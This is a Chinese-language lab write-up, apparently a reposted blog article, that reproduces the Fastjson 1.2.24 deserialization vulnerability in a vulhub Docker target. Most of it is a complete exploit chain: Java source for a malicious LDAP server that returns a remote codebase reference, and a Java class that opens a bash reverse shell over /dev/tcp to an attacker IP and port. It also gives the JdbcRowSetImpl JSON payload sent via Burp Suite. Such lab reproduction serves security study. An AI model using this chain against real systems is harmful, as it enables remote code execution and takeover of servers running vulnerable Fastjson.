zoukankan      html  css  js  c++  java
  • Fastjson1.2.24漏洞Fastjson1.2.24反序列化漏洞复现

    Fastjson1.2.24Fastjson1.2.24反序列化漏洞复现

    1. 环境简介

    1.1 物理环境

      Docker+vulhub+fastjson1.2.24靶机容器(kali linux)
      RMI/LDAP服务器(eclipse+jdk1.8.0_181)
      文件服务器(Python3快速http服务)

    1.2 网络环境

      win10(主机)(文件服务器+LDAP服务器)
      kali linux(虚拟机)(fastjson靶机容器+nc监听端口)

    1.3 工具

      Burpsuite(发送恶意POST请求触发漏洞)
      Eclipse(运行LDAP服务)
      Ncat(监听端口接收反弹Shell)
      Java(将需要执行java源文件编译成class文件)
      Python3(快速开启http,存放编译后class文件)

    1.4 流程

    2. Docker+vulhub+fastjson1.2.24

    2.1 Docker启动

      使用systemctl status docker检查docker状态

    2.2 vulhub搭建

      可以按照官方教程进行搭建
      https://vulhub.org/#/docs/install-docker-compose/
      下图为安装docker-compose成功后的结果,由于python版本问题会出现下图中的问题,但是并不影响实际操作。

      安装完成docker和docker-compose后,拉取Vulhub到本地任意目录即可:
      git clone https://github.com/vulhub/vulhub.git
      成功后如下图,出现vulhub文件夹,并且其中包含不同框架子文件夹:

    2.3 fastjson环境

      进入到vulhub下的fastjson文件夹中所需版本的目录下

      拉取镜像并且运行,如果下载慢的话可以多换几个源试试
      docker-compose build && docker-compose up -d
      成功后结果如下所示

      docker ps -a查看容器状态,已经启动并且映射至8090端口

    启动成功后,主机访问虚拟机端口显示如下:

      至此fastjson环境搭建成功

    3 LDAP服务器

      本次使用eclipse启动环境,需要特定的jdk版本,下面为LDAP代码,注释为需要修改内容的说明,根据具体环境进行修改

    package fastjson; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://IP:PORT/#Shell";//此处填写格式为文件服务器(存放class文件)的IP与端口,后接需要获取的class的文件名,例如请求Shell.class,则填写/#Shell int port = 6099;//此处填写需要开启LDAP服务的端口号 try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws MalformedURLException, LDAPException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Shell"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }

      成功运行后显示正在监听6099端口

    4 文件服务器

      使用python启动快速http服务,指定端口为11111(python2与python3命令不同)

      成功后通过浏览器访问本机11111端口,可以查看目录下的文件并下载

      需要执行的恶意命令java文件内容(.java)

    import java.io.BufferedReader; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Shell{ public Shell() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.32.128/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"});//反弹Shell命令,根据具体情况可以修改IP:PORT InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }

      进行编译,生产Shell.class文件,并放在启动的文件服务目录下

    5 Burpsuite发送POST请求

    Payload

    { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://IP:6099/Shell", "autoCommit":true } }

    6 结果查看

    6.1 LDAP服务器

    6.2 文件服务器

    接收到GET请求

    6.3 监听端口

    反弹Shell成功

    Fastjson1.2.24反序列化漏洞复现

  • 相关阅读:
    java中的类修饰符、成员变量修饰符、方法修饰符。
    java集合框架
    计算字符串最后一个单词的长度,单词以空格隔开。 java算法
    写出一个程序,接受一个由字母和数字组成的字符串,和一个字符,然后输出输入字符串中含有该字符的个数。不区分大小写。java算法
    在使用 interface 声明一个接口时,只可以使用那个修饰符修饰该接口?
    初始化数组的三种方式
    Evolved Policy Gradients
    Improving Generalization in Meta Reinforcement Learning using Learned Objectives
    RL^2: Fast Reinforcement Learning via Slow Reinforcement Learning
    How to Construct Deep Recurrent Neural Networks
  • 原文地址:https://www.cnblogs.com/xinxihua/p/14353122.html
Copyright © 2011-2022 走看看